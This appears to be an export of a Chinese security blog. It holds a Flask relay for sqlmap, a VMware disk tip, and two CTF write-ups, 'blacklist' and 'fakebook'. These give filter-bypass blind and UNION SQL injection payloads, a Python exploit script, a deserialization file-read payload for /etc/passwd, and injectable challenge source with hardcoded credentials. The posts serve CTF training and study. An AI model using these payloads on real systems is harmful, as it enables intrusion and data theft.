<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> request</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">custom_fun</span>(<span class="params">payload</span>):</span></span><br><span class="line"> email = <span class="string">'{}@qq.com'</span>.<span class="built_in">format</span>(<span class="built_in">int</span>(random.random() * <span class="number">10000000</span>))</span><br><span class="line"> username = payload</span><br><span class="line"> password = <span class="string">'123'</span></span><br><span class="line"> proxy = {<span class="string">'http'</span>: <span class="string">'127.0.0.1:8080'</span>}</span><br><span class="line"> session = requests.session()</span><br><span class="line"> <span class="comment"># 注册</span></span><br><span class="line"> burp0_url = <span class="string">"http://192.168.154.130:80/web/register.php"</span></span><br><span class="line"> burp0_headers = {<span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"</span>, <span class="string">"Accept"</span>: <span class="string">"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"</span>, <span class="string">"Accept-Language"</span>: <span class="string">"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"</span>, <span class="string">"Content-Type"</span>: <span class="string">"application/x-www-form-urlencoded"</span>, <span class="string">"Origin"</span>: <span class="string">"http://192.168.154.130"</span>, <span class="string">"Connection"</span>: <span class="string">"close"</span>, <span class="string">"Referer"</span>: <span class="string">"http://192.168.154.130/web/register.php"</span>, <span class="string">"Upgrade-Insecure-Requests"</span>: <span class="string">"1"</span>}</span><br><span class="line"> burp0_data = {<span class="string">"name"</span>: username, <span class="string">"pw"</span>: password, <span class="string">"repw"</span>: password, <span class="string">"email"</span>: email, <span class="string">"submit"</span>: <span class="string">''</span>}</span><br><span class="line"> resp = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)</span><br><span class="line"> <span class="comment"># 登陆</span></span><br><span class="line"> burp0_url = <span class="string">"http://192.168.154.130:80/web/login.php"</span></span><br><span class="line"> burp0_headers = {<span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"</span>, <span class="string">"Accept"</span>: <span class="string">"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"</span>, <span class="string">"Accept-Language"</span>: <span class="string">"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"</span>, <span class="string">"Content-Type"</span>: <span class="string">"application/x-www-form-urlencoded"</span>, <span class="string">"Origin"</span>: <span class="string">"http://192.168.154.130"</span>, <span class="string">"Connection"</span>: <span class="string">"close"</span>, <span class="string">"Referer"</span>: <span class="string">"http://192.168.154.130/web/login.php"</span>, <span class="string">"Upgrade-Insecure-Requests"</span>: <span class="string">"1"</span>}</span><br><span class="line"> burp0_data = {<span class="string">"email"</span>: email, <span class="string">"pw"</span>: password, <span class="string">"submit"</span>: <span class="string">''</span>}</span><br><span class="line"> r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)</span><br><span class="line"> <span class="comment"># 登陆后跳转到首页</span></span><br><span class="line"> burp0_url = <span class="string">"http://192.168.154.130/web/index.php"</span></span><br><span class="line"> burp0_headers = {<span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"</span>, <span class="string">"Accept"</span>: <span class="string">"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"</span>, <span class="string">"Accept-Language"</span>: <span class="string">"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"</span>, <span class="string">"Connection"</span>: <span class="string">"close"</span>, <span class="string">"Upgrade-Insecure-Requests"</span>: <span class="string">"1"</span>}</span><br><span class="line"> </span><br><span class="line"> resp = session.get(burp0_url, headers=burp0_headers, proxies=proxy) </span><br><span class="line"> resp.encoding = resp.apparent_encoding</span><br><span class="line"> <span class="keyword">return</span> resp.text</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">index</span>():</span></span><br><span class="line"> <span class="keyword">if</span> request.method == <span class="string">'GET'</span>:</span><br><span class="line"> payload = request.args.get(<span class="string">'payload'</span>)</span><br><span class="line"> <span class="keyword">elif</span> request.method == <span class="string">'POST'</span>:</span><br><span class="line"> payload = request.form.get(<span class="string">'payload'</span>)</span><br><span class="line"> <span class="keyword">return</span> custom_fun(payload)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line"> app.run(host=<span class="string">'127.0.0.1'</span>, debug=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure>
<p>从代码上可以看到,只需要把请求逻辑写到<code>custom_fun</code>函数中,把最终结果的响应包return给flask,剩下的就可以交给sqlmap了,优雅!</p>
<p>这里说一个小技巧,可以使用Burp的拓展<code>Copy As Python-Requests</code>来一键把burp的请求复制为Python requests请求:<br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-21-10-19-19.png"><br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-21-10-21-23.png"></p>
<p>然后使用sqlmap测试一下,因为是通过本地flask中转,我们的sqlmap的target应该是本地的flask服务端口,命令如下:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sqlmap -u http://127.0.0.1:5000/?payload=1</span><br></pre></td></tr></table></figure>
<p>检测时flask服务的输出:<br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-21-10-30-49.png"><br>成功检测到注入点:<br><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-21-10-25-10.png"><br>当前数据库:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sqlmap -u http://127.0.0.1:5000/?payload=1 --current-db</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-21-10-27-11.png"><br>跑表名:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sqlmap -u http://127.0.0.1:5000/?payload=1 -D <span class="built_in">test</span> --tables</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-21-10-28-11.png"><br>跑flag表数据:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sqlmap -u http://127.0.0.1:5000/?payload=1 -D <span class="built_in">test</span> -T flag --dump</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/08/26/SQL%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6-FLASK%E5%8A%A0%E5%B7%A5%E4%B8%AD%E8%BD%ACSQLMAP%E6%B5%81%E9%87%8F/2020-07-21-10-44-35.png"></p>
<h3 id="测试环境代码"><a href="#测试环境代码" class="headerlink" title="测试环境代码"></a>测试环境代码</h3><p>GitHub:<a href="https://github.com/ryanInf/fakeZhangSan">https://github.com/ryanInf/fakeZhangSan</a></p>
]]></content>
<categories>
<category>渗透测试</category>
</categories>
<tags>
<tag>渗透测试</tag>
<tag>WEB</tag>
</tags>
</entry>
<entry>
<title>VMware虚拟机磁盘空间压缩</title>
<url>/2019/07/11/VMware%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%A3%81%E7%9B%98%E7%A9%BA%E9%97%B4%E5%8E%8B%E7%BC%A9/</url>
<content><![CDATA[<p>可以使用VMware官方的vmware tools进行压缩。<br>压缩前需要删除虚拟机的快照、链接克隆等,然后在虚拟机中执行:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">vmware-toolbox-cmd disk shrink /</span><br></pre></td></tr></table></figure>
<p>执行后等待进度条结束即可:<br><img data-src="/2019/07/11/VMware%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%A3%81%E7%9B%98%E7%A9%BA%E9%97%B4%E5%8E%8B%E7%BC%A9/2020-08-19-18-33-08.png"></p>
<a id="more"></a>
<p>压缩前忘了截图了,删除快照等后大概占用33G,实际虚拟机硬盘使用:<br><img data-src="/2019/07/11/VMware%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%A3%81%E7%9B%98%E7%A9%BA%E9%97%B4%E5%8E%8B%E7%BC%A9/2020-08-19-18-33-34.png"></p>
<p>压缩后占用:<br><img data-src="/2019/07/11/VMware%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%A3%81%E7%9B%98%E7%A9%BA%E9%97%B4%E5%8E%8B%E7%BC%A9/2020-08-19-18-33-47.png"></p>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://www.modb.pro/db/13321">VMware 虚拟机磁盘占用过大怎么办?</a></p>
]]></content>
<categories>
<category>折腾</category>
</categories>
<tags>
<tag>折腾</tag>
</tags>
</entry>
<entry>
<title>blacklist_writeup</title>
<url>/2020/10/21/blacklist-writeup/</url>
<content><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>本文为某次培训练习题解题过程,该题考察SQL注入绕过方法,难度中等。</p>
<a id="more"></a>
<h3 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h3><ol>
<li>观察题目,可知道本题考察SQL注入绕过,经过测试,发现拦截<code>=</code>、<code>and</code>、<code>or</code>、<code>,</code>、<code> </code>(空格) </li>
<li><code>=</code> 可用<code>like</code>代替</li>
<li><code>and</code> 可用<code>&</code>代替</li>
<li><code>or</code> 可用<code>|</code>代替</li>
<li>空格可用注释绕过<code>/**/</code></li>
<li>逗号可用<code>from a for b</code>绕过,但是仅限于函数内逗号,所以本题不能使用<code>union select 1,flag from flag</code>来直接获取到结果(误,可以使用<code>join</code>绕过,见方法二)<br>以下为以前使用过的一个绕过逗号拦截的payload,我们可以在它的基础上进行修改:<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">1' and (select * from (select case when (substring((select user()) from 1 for 1)='c') then sleep(3) else 0 end)A) -- </span><br></pre></td></tr></table></figure></li>
<li>ctf注入题的flag通常在flag表,所以我们直接跑这个表了,所以把payload修改为如下:<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">1' and (select * from (select case when (substring((select * from flag) from 1 for 1)='c') then sleep(3) else 0 end)A) -- </span><br></pre></td></tr></table></figure></li>
<li>因为<code>for</code> 里面的<code>or</code>也会拦截,所以换成这种写法:<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">from a //表示从最后一个字母取,取a个字母,如果越界则为空值</span><br><span class="line">select substring((select user()) from -14);</span><br></pre></td></tr></table></figure>
所以payload修改为:<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">1' and (select * from (select case when (ascii(substring((select * from flag) from -1))=2) then sleep(3) else 0 end)A) -- </span><br></pre></td></tr></table></figure>
这里的-1表示截取倒数第一个字符,2与该字符的ASCII码进行比对</li>
<li>然后替换<code>and</code> 为<code>&</code>,<code>=</code>为<code>like</code>,<code> </code>(空格)为<code>/**/</code>,因为最后的<code>--</code>注释符替换成<code>/**/--/**/</code>的话会失效,所以使用<code>#</code>注释,最终payload:<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">1'/**//**/&/**/(select/**/*/**/from/**/(select/**/case/**/when/**/(ascii(substring((select/**/*/**/from/**/flag)/**/from/**/-1))/**/like/**/125)/**/then/**/sleep(3)/**/else/**/0/**/end)A)#</span><br></pre></td></tr></table></figure>
我们知道flag字符串最终位为<code>}</code>,其ASCII码值为<code>125</code>,所以测试这位的值来验证我们的payload,可以看到确实延迟了3s:<br><img data-src="/2020/10/21/blacklist-writeup/2020-10-21-13-47-49.png"><br>如果修改为错误的值则不会:<br><img data-src="/2020/10/21/blacklist-writeup/2020-10-21-13-48-34.png"></li>
<li>那么我们就可以根据上面的payload编写最终exp了:<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exp</span>(<span class="params">keynum, chrord</span>):</span></span><br><span class="line"> burp0_url = <span class="string">"http://x.x.x.x:xxxxx/?id=1'/**/%26/**/(select/**/*/**/from/**/(select/**/case/**/when/**/(ascii(substring((select/**/*/**/from/**/flag)/**/from/**/-{}))/**/like/**/{})/**/then/**/sleep(2)/**/else/**/0/**/end)A)%23"</span>.<span class="built_in">format</span>(keynum, chrord)</span><br><span class="line"> <span class="comment"># print(burp0_url)</span></span><br><span class="line"> burp0_cookies = {<span class="string">"PHPSESSID"</span>: <span class="string">"o19hhhgs7vncjnq8ffmlubp3h1"</span>}</span><br><span class="line"> burp0_headers = {<span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"</span>, <span class="string">"Accept"</span>: <span class="string">"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"</span>, <span class="string">"Accept-Language"</span>: <span class="string">"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"</span>, <span class="string">"Connection"</span>: <span class="string">"close"</span>, <span class="string">"Upgrade-Insecure-Requests"</span>: <span class="string">"1"</span>}</span><br><span class="line"> requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">flagchars = string.ascii_lowercase + string.digits + <span class="string">'{}_-'</span></span><br><span class="line">flagchars_ordlist = [<span class="built_in">ord</span>(c) <span class="keyword">for</span> c <span class="keyword">in</span> flagchars]</span><br><span class="line">flag = <span class="string">''</span></span><br><span class="line">pre_chr = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">43</span>):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> flagchars_ordlist:</span><br><span class="line"> c = <span class="built_in">chr</span>(j)</span><br><span class="line"> retry = <span class="number">3</span></span><br><span class="line"> <span class="keyword">while</span> retry > <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> now = time.time()</span><br><span class="line"> exp(i, j)</span><br><span class="line"> end = time.time()</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="comment"># 重试</span></span><br><span class="line"> retry -= <span class="number">1</span></span><br><span class="line"> <span class="keyword">if</span> end - now > <span class="number">2</span>:</span><br><span class="line"> <span class="built_in">print</span>(c)</span><br><span class="line"> flag += c</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'not in letters'</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(flag[::-<span class="number">1</span>])</span><br></pre></td></tr></table></figure>
运行结果:<br><img data-src="/2020/10/21/blacklist-writeup/2020-10-21-13-50-12.png"></li>
</ol>
<h3 id="方法二"><a href="#方法二" class="headerlink" title="方法二"></a>方法二</h3><p>使用<code>join</code>可以把两个表查询的结果左右合并,从而拼接多个字段,如下:</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">select</span> <span class="number">1</span>,<span class="number">2</span> <span class="keyword">from</span> (<span class="keyword">select</span> <span class="number">1</span>,<span class="number">2</span>)a <span class="keyword">where</span> <span class="string">'a'</span><span class="operator">=</span><span class="string">'a'</span> <span class="keyword">union</span> <span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> (<span class="keyword">select</span> <span class="number">1</span>)b <span class="keyword">join</span> (<span class="keyword">select</span> <span class="number">2</span>)c;</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/10/21/blacklist-writeup/2020-10-23-11-45-38.png"></p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"># 创建数据库及表</span><br><span class="line"><span class="keyword">create</span> <span class="keyword">table</span> flag;</span><br><span class="line"><span class="keyword">create</span> <span class="keyword">table</span> flag (flag <span class="type">varchar</span>(<span class="number">43</span>));</span><br><span class="line"><span class="keyword">insert</span> <span class="keyword">into</span> flag (flag) <span class="keyword">values</span> (<span class="string">'flag{810a9492-bfac-4a9b-be38-823b6efd7ab5}'</span>);</span><br><span class="line"># 测试语句</span><br><span class="line"><span class="keyword">select</span> <span class="number">1</span>,<span class="number">2</span> <span class="keyword">from</span> (<span class="keyword">select</span> <span class="number">1</span>,<span class="number">2</span>)a <span class="keyword">where</span> <span class="string">'a'</span><span class="operator">=</span><span class="string">'a'</span> <span class="keyword">union</span> <span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> flag <span class="keyword">join</span> (<span class="keyword">select</span> <span class="number">1</span>) a;</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/10/21/blacklist-writeup/2020-10-23-11-46-49.png"></p>
<p>根据上面的实验,最终构造如下payload:</p>
<figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">'/**/&/**/1/**/like/**/0/**/union/**/select/**/*/**/from/**/(select/**/1)a/**/join/**/(select/**/*/**/from/**/flag)b#</span></span><br></pre></td></tr></table></figure>
<p>编码后发送可取得flag<br><img data-src="/2020/10/21/blacklist-writeup/2020-10-23-11-50-59.png"></p>
]]></content>
<categories>
<category>CTF</category>
</categories>
<tags>
<tag>CTF</tag>
<tag>SQLi</tag>
</tags>
</entry>
<entry>
<title>fakebook-writeup</title>
<url>/2020/11/17/fakebook-writeup/</url>
<content><![CDATA[<h3 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h3><p>本题来源于2018年网鼎杯,攻防世界WEB进阶019上是原题。题目考察的是SQL注入中的UNION注入、SSRF和反序列化的组合利用,是一道比较综合性的题目,值得学习。</p>
<a id="more"></a>
<h3 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h3><p>打开题目链接,注册用户</p>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117161419002.png"></p>
<p>可以测试发现<code>view.php</code>可能存在SQL注入:</p>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117161700710.png"></p>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117161737441.png"></p>
<p>使用<code>order by</code>测试,枚举到此注入点有5列数据,payload:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">1 order by 5</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117162320725.png"></p>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117162029502.png"></p>
<p>使用<code>UNION SELECT</code>测试注入点,发现<code>UNION SELECT</code>会被拦截,使用注释符绕过:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">?no=1 union select 1,2,3,4</span><br><span class="line">?no=-1 union/**/select 1,2,3,4</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117162619206.png"></p>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117162818925.png"></p>
<p>可以看到第二列输出到了页面,先获取当前用户名试试:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">?no=-1 union/**/select 1,user(),3,4</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117163048623.png"></p>
<p>查询所有数据库名:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">?no=-1 union/**/select 1,(select group_concat(SCHEMA_NAME) from information_schema.schemata)a,3,4</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117163314771.png"></p>
<p>查询fakebook的所有表名:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">?no=-1 union/**/select 1,(select group_concat(TABLE_NAME)from information_schema.TABLES WHERE TABLE_SCHEMA='fakebook')a,3,4</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117163519847.png"></p>
<p>查询fakebook的users表所有列名:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">?no=-1 union/**/select 1,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='fakebook' and TABLE_NAME='users')a,3,4</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117163823008.png"></p>
<p>查询fakebook的users表的数据:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">?no=-1 union/**/select 1,(select group_concat(no,'=',username,'=',passwd,'=',data) from users)a,3,4</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117164906117.png"></p>
<p>观察<code>data</code>列及页面报错,推测存在反序列化漏洞,直接修改序列化的字符串中的url和长度:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"222";s:3:"age";i:123;s:4:"blog";s:18:"file:///etc/passwd";}'</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117170538935.png"></p>
<p>枚举几个常见flag文件路径,最终得到flag:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"222";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117170930461.png"></p>
<p>小插曲,读取<code>index.php</code>中也有一个flag字符串,一度认为这是最终flag,却提示错误,此处想暴打出题人!</p>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117171213101.png"></p>
<h3 id="非预期解法"><a href="#非预期解法" class="headerlink" title="非预期解法"></a>非预期解法</h3><p>mysql中有一个load_file()函数,这个函数可以读取本地文件,但是有两个条件:</p>
<ul>
<li>用户有很高的权限</li>
<li>知道文件的绝对路径</li>
</ul>
<p>本题中数据库恰好使用了root用户:</p>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117111540613.png"></p>
<p>那么可以通过<code>load_file</code>读取文件:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4</span><br></pre></td></tr></table></figure>
<p><img data-src="/2020/11/17/fakebook-writeup/image-20201117111510196.png"></p>
<h3 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h3><h4 id="index-php"><a href="#index-php" class="headerlink" title="index.php"></a>index.php</h4><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"><?php session_start(); ?></span><br><span class="line"><?php require_once 'db.php'; ?></span><br><span class="line"><?php require_once 'user.php'; ?></span><br><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$flag = "FLAG{flag is in your mind}";</span><br><span class="line"></span><br><span class="line">$db = new DB();</span><br><span class="line">$user = new UserInfo();</span><br><span class="line"></span><br><span class="line">?></span><br><span class="line"><!doctype html></span><br><span class="line"><html lang="ko"></span><br><span class="line"><head></span><br><span class="line"> <meta charset="UTF-8"></span><br><span class="line"> <meta name="viewport"</span><br><span class="line"> content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"></span><br><span class="line"> <meta http-equiv="X-UA-Compatible" content="ie=edge"></span><br><span class="line"> <title>Fakebook</title></span><br><span class="line"></span><br><span class="line"> <?php include 'bootstrap.php'; ?></span><br><span class="line"></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><div class="container"></span><br><span class="line"> <h1>the Fakebook</h1></span><br><span class="line"> <?php</span><br><span class="line"></span><br><span class="line"> if (!isset($_SESSION['username'])) {</span><br><span class="line"> $message = "<div class='row'>";</span><br><span class="line"> $message .= "<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>";</span><br><span class="line"> $message .= "<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>";</span><br><span class="line"> $message .= "</div>";</span><br><span class="line"></span><br><span class="line"> echo $message;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> ?></span><br><span class="line"> <p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p></span><br><span class="line"></span><br><span class="line"> <table class="table"></span><br><span class="line"> <tr></span><br><span class="line"> <th>#</th></span><br><span class="line"> <th>username</th></span><br><span class="line"> <th>age</th></span><br><span class="line"> <th>blog</th></span><br><span class="line"> </tr></span><br><span class="line"> <?php</span><br><span class="line"></span><br><span class="line"> foreach ($db->getAllUsers() as $user)</span><br><span class="line"> {</span><br><span class="line"> $data = unserialize($user['data']);</span><br><span class="line"></span><br><span class="line"> echo "<tr>";</span><br><span class="line"> echo "<td>{$user['no']}</td>";</span><br><span class="line"> echo "<td><a href='view.php?no={$user['no']}'>{$user['username']}</a></td>";</span><br><span class="line"> echo "<td>{$data->age}</td>";</span><br><span class="line"> echo "<td>{$data->blog}</td>";</span><br><span class="line"> echo "</tr>\n";</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ?></span><br><span class="line"> </table></span><br><span class="line"></div></span><br><span class="line"></body></span><br><span class="line"></html></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="db-php"><a href="#db-php" class="headerlink" title="db.php"></a>db.php</h4><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require_once 'lib.php';</span><br><span class="line">$mysqli = new mysqli('127.0.0.1', 'root', 'naiwjebfahjebfja', 'fakebook');</span><br><span class="line"></span><br><span class="line">class DB {</span><br><span class="line"></span><br><span class="line"> function __construct() {</span><br><span class="line"> // $mysqli = new mysqli('localhost', 'root', '!@#1234!@#', 'fakebook');</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function isValidUsername($username) {</span><br><span class="line"> global $mysqli;</span><br><span class="line"> $query = "select * from users where username = '{$username}'";</span><br><span class="line"> $res = $mysqli->query($query);</span><br><span class="line"> if (!$res->fetch_array()) {</span><br><span class="line"> return 1;</span><br><span class="line"> } else {</span><br><span class="line"> return 0;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function login($username, $passwd) {</span><br><span class="line"> global $mysqli;</span><br><span class="line"></span><br><span class="line"> $username = addslashes($username);</span><br><span class="line"> $passwd = sha512($passwd);</span><br><span class="line"> $query = "select * from users where username = '{$username}' and passwd = '{$passwd}'";</span><br><span class="line"> $res = $mysqli->query($query);</span><br><span class="line"></span><br><span class="line"> return $res->fetch_array();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function insertUser($username, $passwd, $data) {</span><br><span class="line"> global $mysqli;</span><br><span class="line"></span><br><span class="line"> $username = substr($username, 0, 100);</span><br><span class="line"> $username = addslashes($username);</span><br><span class="line"> $passwd = sha512($passwd);</span><br><span class="line"> $data = serialize($data);</span><br><span class="line"> $data = addslashes($data);</span><br><span class="line"></span><br><span class="line"> $query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')";</span><br><span class="line"> return $mysqli->real_query($query);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function getAllUsers() {</span><br><span class="line"> global $mysqli;</span><br><span class="line"></span><br><span class="line"> $query = "select * from users";</span><br><span class="line"> $res = $mysqli->query($query);</span><br><span class="line"> return $res->fetch_all(MYSQLI_ASSOC);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function getUserByNo($no) {</span><br><span class="line"> global $mysqli;</span><br><span class="line"></span><br><span class="line"> // $no = addslashes($no);</span><br><span class="line"> $query = "select * from users where no = {$no}";</span><br><span class="line"> $res = $mysqli->query($query);</span><br><span class="line"> if (!$res) {</span><br><span class="line"> echo "<p>[*] query error! ({$mysqli->error})</p>";</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> return $res->fetch_assoc();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public 